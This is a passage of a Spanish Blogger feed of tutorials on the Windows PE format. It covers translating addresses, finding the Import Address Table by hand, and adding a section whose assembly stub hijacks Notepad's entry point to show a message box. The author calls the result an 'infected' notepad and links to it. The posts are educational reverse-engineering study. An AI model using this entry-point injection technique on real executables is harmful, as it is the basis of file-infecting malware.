0x1188+0xE0=0x1268&lt;/p&gt;  &lt;p align="justify"&gt;Esta recordemos que es la dirección RVA, para obtener la dirección real en memoria debemos de sumarla la “ImageBase”, es un valor de la cabecera PE que en el ejecutable que estamos usando(&lt;a href="http://www.multiupload.com/TAVJUPSTP4"&gt;Notepad de XP SP2 en español&lt;/a&gt;) es 0x01000000:
0x01000000+0x1268=0x01001268&lt;/p&gt;  &lt;p align="justify"&gt;Y efectivamente una vez cargado el programa en memoria en esa dirección podemos encontrar la dirección en nuestro sistema de MessageBoxW. Veámoslo en OllyDbg:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TXVJX7h5mXI/AAAAAAAAASw/J4YFqOUOjvM/s1600-h/image%5B32%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXVJYbYHDwI/AAAAAAAAAS0/hYp6CnSnBY8/image_thumb%5B43%5D.png?imgmax=800" width="369" height="69" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;En esa dirección vemos el código en ensamblador de la función MessageBoxW, que a su vez llama a la función MessageBoxExW pasándole algún parámetro nulo:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TXVJYj8jkNI/AAAAAAAAAS4/YxEHkUmH7HQ/s1600-h/image%5B37%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXVJYzyJdkI/AAAAAAAAAS8/fZ98Dz1QY7g/image_thumb%5B49%5D.png?imgmax=800" width="393" height="122" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Y esto es todo. Como decía en la primera entrada el proceso está resumido aconsejo leer &lt;a href="http://www.multiupload.com/EBEI9UPRE2"&gt;el documento que puse inicialmente&lt;/a&gt; para mas detalles. Se puede hacer todo esto de una manera mucho mas sencilla utilizado programas que te facilitan la tarea. Pero mi objetivo es saberlo hacer todo a mano para algún día poder programar algo relacionado con todo esto.&lt;/p&gt;  &lt;p&gt;Nos vemos pronto!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7601565782375580158?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7601565782375580158/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7601565782375580158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7601565782375580158'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html' title='Localizar direcciones en la IAT a mano 2/2'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/TXA2i5lk5QI/AAAAAAAAASM/e8s3NNmTJM8/s72-c/image_thumb%5B17%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-791294611085911613</id><published>2011-03-04T01:47:00.001+01:00</published><updated>2011-03-04T01:47:09.043+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Localizar direcciones en la IAT a mano 1/2</title><content type='html'>&lt;p align="justify"&gt;En la anterior entrada una vez localizada la IAT(Import Address Table) nos ayudamos de OllyDbg para saber donde se almacena la dirección de la función MessageBoxW, para después usarla en nuestro código (CALL [Dir de MessageBoxW en la IAT]) y así no tener la dirección “hardcoded”.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXA2a9yp6MI/AAAAAAAAARQ/9IPSHURyXLY/s1600-h/image%5B3%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TXA2bqZ8NnI/AAAAAAAAARU/3YW7Hn_nSuM/image_thumb%5B1%5D.png?imgmax=800" width="382" height="100" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Vamos hacer esta búsqueda a mano así nos familiarizamos con la estructura de la IT(Import Table) y la IAT. Aviso que el proceso que&amp;#160; sigo está resumido y da cosas por sabidas, recomiendo leer este documento &lt;a href="http://www.multiupload.com/EBEI9UPRE2"&gt;Descabezando archivos ejecutables portables de nuMIT_or&lt;/a&gt; antes o durante se lee la entrada&lt;i&gt;&lt;/i&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;En el proceso usaré el notepad de la anterior entrada, &lt;a href="http://www.multiupload.com/TAVJUPSTP4"&gt;aquí se puede descargar&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Lo primero es localizar la IT en disco. Para ello hago uso de 010 Editor, en la cabecera opcional dentro de la cabecera PE, está el directorio de datos, una de esos directorios es el directorio de Importaciones:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXA2b46J-eI/AAAAAAAAARY/MUaB0k5VzxQ/s1600-h/image%5B10%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXA2ciKDMkI/AAAAAAAAARc/YP-eEh38IHU/image_thumb%5B4%5D.png?imgmax=800" width="371" height="174" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Como vemos podemos encontrar este directorio en la dirección virtual (de ahora en adelante VA) 7604h. Hay que tener en cuenta que está dirección es virtual y nosotros estamos buscando estos datos en el archivo en disco, así que necesitamos traducir de VA a dirección física. Primero necesitamos saber en que sección de todas ira a caer esta VA.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TXA2c0cwXjI/AAAAAAAAARg/qviPWvo09E4/s1600-h/image%5B14%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXA2dZRQUKI/AAAAAAAAARk/sEccVfnuYCs/image_thumb%5B6%5D.png?imgmax=800" width="377" height="107" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;La sección text empieza en la VA 1000h y acaba en la 8748h. Así que la IT que está en la VA 7604h pertenece a la sección .text. Esto también nos lo muestra OllyDbg:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXA2dv4WDBI/AAAAAAAAARo/7ERTaP9ZJ0k/s1600-h/image%5B17%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TXA2eLebeKI/AAAAAAAAARs/53LLoiy2aTA/image_thumb%5B7%5D.png?imgmax=800" width="201" height="74" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Ahora para pasar de la VA a la dirección física debemos restar a la VA la VA inicial de la sección text (1000h).   &lt;br /&gt;7604h-1000h=6604h    &lt;br /&gt;Y a este valor sumarle la dirección física donde comienza la sección, SizeOfRawData:    &lt;br /&gt;6604h+400h=6A04h&lt;/p&gt;  &lt;p align="justify"&gt;Vamos a esa dirección con el editor hexadecimal y vemos la IT, la he coloreado en rojo:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TXA2en67ZuI/AAAAAAAAARw/b-RMdA7-pik/s1600-h/image%5B22%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TXA2fSsWmlI/AAAAAAAAAR0/8kxNDrpbjZM/image_thumb%5B10%5D.png?imgmax=800" width="406" height="183" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;La IT es un vector de valores DW (Double word, 4 bytes) que sigue esta estructura:   &lt;br /&gt;dwRVAFunctionNameList DWORD ;    &lt;br /&gt;dwUseless1 DWORD ;    &lt;br /&gt;dwUseless2 DWORD ;    &lt;br /&gt;dwRVAModuleName DWORD ;    &lt;br /&gt;dwRVAFunctionAddressList DWORD ;&lt;/p&gt;  &lt;p align="justify"&gt;He coloreado en verde la primera de las estructuras:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXA2f1lJxFI/AAAAAAAAAR4/I8rQkQh2Ct4/s1600-h/image%5B26%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXA2gsbT1bI/AAAAAAAAAR8/8VBzPtuH-3s/image_thumb%5B12%5D.png?imgmax=800" width="407" height="177" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Lo que nos interesa ahora es ver el campo dwRVAModuleName que es donde está el nombre de la DLL importada. En esta primera estructura tiene el valor 00007AACh. Este valor a su vez es una VA y debe ser traducida a dirección física. Aplicando el mismo procedimiento que antes tenemos que 7AACh-&amp;gt;6EACh&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TXA2hKdR8rI/AAAAAAAAASA/Ha0yoJ3IVVw/s1600-h/image%5B33%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXA2hkh_KwI/AAAAAAAAASE/1juvXAipoz0/image_thumb%5B15%5D.png?imgmax=800" width="397" height="55" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Vemos entonces que la primera estructura de la IT se refiere a la DLL &lt;em&gt;comdlg32.dll&lt;/em&gt;. Nosotros buscamos la función MessageBoxW que pertenece a la dll user32.dll, así que seguimos con las siguientes estructuras de la IT hasta encontrar justo al final la correspondiente a la DLL User32.dll:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXA2h-5hjqI/AAAAAAAAASI/3veJCfHy0oA/s1600-h/image%5B37%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TXA2i5lk5QI/AAAAAAAAASM/e8s3NNmTJM8/image_thumb%5B17%5D.png?imgmax=800" width="410" height="180" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Una vez localizada la entrada en la IT correspondiente a User32.dll nos falta recorrer el vector de funciones importadas para localizar MessageBoxW y buscar en el vector de direcciones la dirección de la función.&lt;/p&gt;  &lt;p&gt;Eso en la siguiente entrada. (Que no podrá ser hasta el lunes ya que estaré alejado del ordenador).&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-791294611085911613?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/791294611085911613/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/791294611085911613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/791294611085911613'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html' title='Localizar direcciones en la IAT a mano 1/2'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_FGFE7zLOsQk/TXA2bqZ8NnI/AAAAAAAAARU/3YW7Hn_nSuM/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4397226081433842576</id><published>2011-03-01T23:50:00.003+01:00</published><updated>2011-03-01T23:54:34.618+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Añadir código portable a un ejecutable 2/2</title><content type='html'>&lt;hr /&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html"&gt;Añadir código portable a un ejecutable 1/2&lt;/a&gt;&lt;span&gt;&lt;span style="font-weight: normal"&gt; 
  &lt;hr /&gt;      &lt;p align="justify"&gt;&lt;/p&gt;   &lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: normal"&gt;Continuando…&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  &lt;p align="justify"&gt;Debemos buscar la función MessageBoxA en la IAT de modo que podamos usar la dirección que haya puesto allí el cargador de Windows. La dirección de memoria donde está la IAT se puede saber mirando en la cabecera PE:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TW14BlVe7qI/AAAAAAAAAQk/3YeMwdnI2Hk/s1600-h/Sin-ttulo_thumb12.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Sin título_thumb[1]" border="0" alt="Sin título_thumb[1]" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TW14CD3sTJI/AAAAAAAAAQo/gUQ0S1HfWkY/Sin-ttulo_thumb1_thumb.png?imgmax=800" width="391" height="102" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;La dirección RVA es 1000h, la dirección en memoria, Virtual Address, será ese valor + ImageBase es decir 0x01001000 justo donde empieza la sección text de código. Podemos abrirlo en OllyDbg y en esa dirección veremos una serie de offsets, al lado nos muestra a la dirección de que función corresponde.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TW14CvvDK0I/AAAAAAAAAQs/kV2xe4nVMQM/s1600-h/Sin%20t%C3%ADtulo%5B3%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="Sin título" border="0" alt="Sin título" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TW14DnUmW4I/AAAAAAAAAQw/IZTX1x4adfs/Sin%20t%C3%ADtulo_thumb%5B1%5D.png?imgmax=800" width="404" height="241" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Ahora debemos buscar la función MessageBoxA. En &lt;a href="http://msdn.microsoft.com/en-us/library/ms645505(v=vs.85).aspx"&gt;msdn&lt;/a&gt; podemos ver que es una función que está definida en User32.dll. Así que buscamos esa función y encontramos una parecido MessageBoxW, que es la versión Unicode, nos sirve &lt;img style="border-bottom-style: none; border-right-style: none; border-top-style: none; border-left-style: none" class="wlEmoticon wlEmoticon-winkingsmile" alt="Guiño" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TW14D-jGUuI/AAAAAAAAAQ0/JXr6521I7K8/wlEmoticon-winkingsmile%5B2%5D.png?imgmax=800" /&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TW14EUH0beI/AAAAAAAAAQ4/dYgCvi4IRwo/s1600-h/Sin%20t%C3%ADtulo%5B17%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="Sin título" border="0" alt="Sin título" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TW14E9x6AuI/AAAAAAAAAQ8/I-TO-MqpC68/Sin%20t%C3%ADtulo_thumb%5B9%5D.png?imgmax=800" width="408" height="59" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pero debemos cambiar la cadena que teníamos a una cadena unicode, para que sea compatible con la función.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TW14Fd539LI/AAAAAAAAARA/NR7g1J-0-tI/s1600-h/Sin%20t%C3%ADtulo%5B18%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="Sin título" border="0" alt="Sin título" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TW14HcFKp1I/AAAAAAAAARE/GdgdRKcDjQk/Sin%20t%C3%ADtulo_thumb%5B10%5D.png?imgmax=800" width="411" height="64" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Una vez con todo esto tenemos que adaptar el código ensamblador que pusimos al inicio de la sección para que lea la dirección de la función MessageBoxW desde la IAT, de la dirección 0x010001268.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TW14HoRsWCI/AAAAAAAAARI/4hbnQSEFd8M/s1600-h/image%5B9%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TW14IFuyKxI/AAAAAAAAARM/KBGEUrhfq5A/image_thumb%5B5%5D.png?imgmax=800" width="409" height="80" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;span&gt;01014017   E8 00000000   CALL 0101401C   
0101401C   58            POP EAX
&lt;/span&gt;&lt;span&gt;0101401D   6A 00         PUSH 0   
0101401F   83E8 1C       SUB EAX,1C    
&lt;/span&gt;&lt;span&gt;01014022   50            PUSH EAX   
01014023   50            PUSH EAX    
01014024   6A 00         PUSH 0    
01014026   A1 68120001   MOV EAX,DWORD PTR DS:[01001268]
0101402B   FFD0          CALL EAX    
0101402D   B8 9D730001   MOV EAX,0100739D    
01014032   FFE0          JMP EAX&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;&lt;span&gt;Y de este modo conseguimos un notepad “infectado”, que muestra un MessageBox al iniciarse y que funcionará correctamente en todos los Windows. Lo &lt;a href="http://www.multiupload.com/1UK32D2FH6"&gt;subo aquí&lt;/a&gt; por si alguien quiere ojearlo.&lt;/span&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pero hemos hecho un poco trampas, porque hemos usado la función MessageBoxW en vez de MessageBoxA, el problema es que notepad no usa MesasgeBoxA así que no Importa dicha función y no podemos obtener su dirección leyendo la IAT. Esto es un problema ya que solo podremos usar las APIs que ya utilice el programa y no todas las de Windows. Se puede solucionar utilizando las funciones GetProcAddress y GetModuleHandle, pero eso ya para otra entrada.&lt;/p&gt;  &lt;p align="justify"&gt;Saludos!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4397226081433842576?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4397226081433842576/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4397226081433842576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4397226081433842576'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html' title='Añadir código portable a un ejecutable 2/2'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_FGFE7zLOsQk/TW14CD3sTJI/AAAAAAAAAQo/gUQ0S1HfWkY/s72-c/Sin-ttulo_thumb1_thumb.png?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7877615224673785458</id><published>2011-02-28T18:57:00.003+01:00</published><updated>2011-03-01T23:51:50.778+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Añadir código “portable” a un ejecutable 1/2</title><content type='html'>&lt;p align="justify"&gt;En anteriores episodios… Añadimos una sección a mano al notepad (&lt;a href="http://www.multiupload.com/TAVJUPSTP4"&gt;lo subo por aquí&lt;/a&gt;). Se cambió el EntryPoint para apuntar a la nueva sección. En esa sección incluimos código para mostrar un mensaje usando la dirección hardcoded de MessageBoxA. Y por último se saltaba al EntryPoint Original del programa para que continuase su ejecución normal.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TWviGYMg63I/AAAAAAAAAQc/cQCbTOWgC9o/s1600-h/noportable13.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="noportable" border="0" alt="noportable" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TWviG9sAxfI/AAAAAAAAAQg/yTcIK7BhKsU/noportable_thumb7.png?imgmax=800" width="411" height="106" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;El problema como comenté es que la dirección de MessageBoxA, en mi caso 76F0FEAE, cambia dependiendo de versiones de Windows, ServicePack instalados, actualizaciones… Así que nuestro nuevo ejecutable “infectado” no sería muy portable.&lt;/p&gt;  &lt;p align="justify"&gt;La solución pasa por entender como Windows hace que un ejecutable se ejecute correctamente en distintas versiones de Windows. Para ello el cargador cuando se quiere ejecutar un programa entre otras cosas localiza la tabla de importaciones que contiene todas aquellas funciones que utiliza el ejecutable y rellena una estructura conocida como Import Address Table, IAT, con las direcciones de esas funciones en la versión actual de Windows.&lt;/p&gt;  &lt;p align="justify"&gt;Para entender todo esto bien, y ya de paso algo sobre como aprovechan esto los virus, recomiendo leerse este PDF &lt;a href="http://www.multiupload.com/1T9KN2Z3J8"&gt;Infección de ejecutables de iZan&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Continuará...&lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html"&gt;continuó&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7877615224673785458?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7877615224673785458/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7877615224673785458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7877615224673785458'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html' title='Añadir código “portable” a un ejecutable 1/2'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_FGFE7zLOsQk/TWviG9sAxfI/AAAAAAAAAQg/yTcIK7BhKsU/s72-c/noportable_thumb7.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7034477024422599578</id><published>2011-02-27T19:25:00.001+01:00</published><updated>2011-03-03T22:42:26.111+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Añadiendo una sección a un exe</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Una de las primeras cosas que se puede hacer con un exe para ir familiarizándonos con el formato PE es añadir una sección nueva, para ello he seguido un tutorial de Ferchu de elhacker.net: &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2008_taller_de_formato_pe_by_ferchu-t208278.0.html"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0); -webkit-text-decorations-in-effect: none; "&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href="http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2008_taller_de_formato_pe_by_ferchu-t208278.0.html"&gt;http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2008_taller_de_formato_pe_by_ferchu-t208278.0.html&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;  &lt;p style="text-align: justify;"&gt;En él primero se expone el formato PE, después se añade una sección y por último se añade código a la sección y se modifica el EP para que se muestre un MessageBox al inicio de la aplicación.&lt;/p&gt;  &lt;p style="text-align: justify;"&gt;Resulta muy útil usar el editor hexadecimal que comentaba en la otra entrada 010 Editor. Y para añadir código a la sección una vez agregada la sección lo mejor es usar OllyDbg e ir poniendo las instrucciones en ensamblador y verificando que hacen lo que queremos.&lt;/p&gt;  &lt;p style="text-align: justify;"&gt;Por cierto para localizar la dirección de la función MessgeBoxA lo mejor es abrir Olly, Ctrl+G y escribir MessageBoxA, nos llevara hasta la posición de memoria donde se encuentra dicha función.&lt;/p&gt;  &lt;p style="text-align: justify;"&gt;Lo malo de esto es que el ejecutable solo funcionara en nuestra versión actual de Windows, en cuanto cambie el idioma, o las actualizaciones la dirección de MessageBoxA habrá cambiado y no funcionara. Por eso en siguientes posts veremos como localizar la dirección de MessageBoxA por código de modo que el exe funcione en todas las versiones de Windows.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7034477024422599578?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7034477024422599578/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/anadiendo-una-seccion-un-exe.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7034477024422599578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7034477024422599578'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/anadiendo-una-seccion-un-exe.html' title='Añadiendo una sección a un 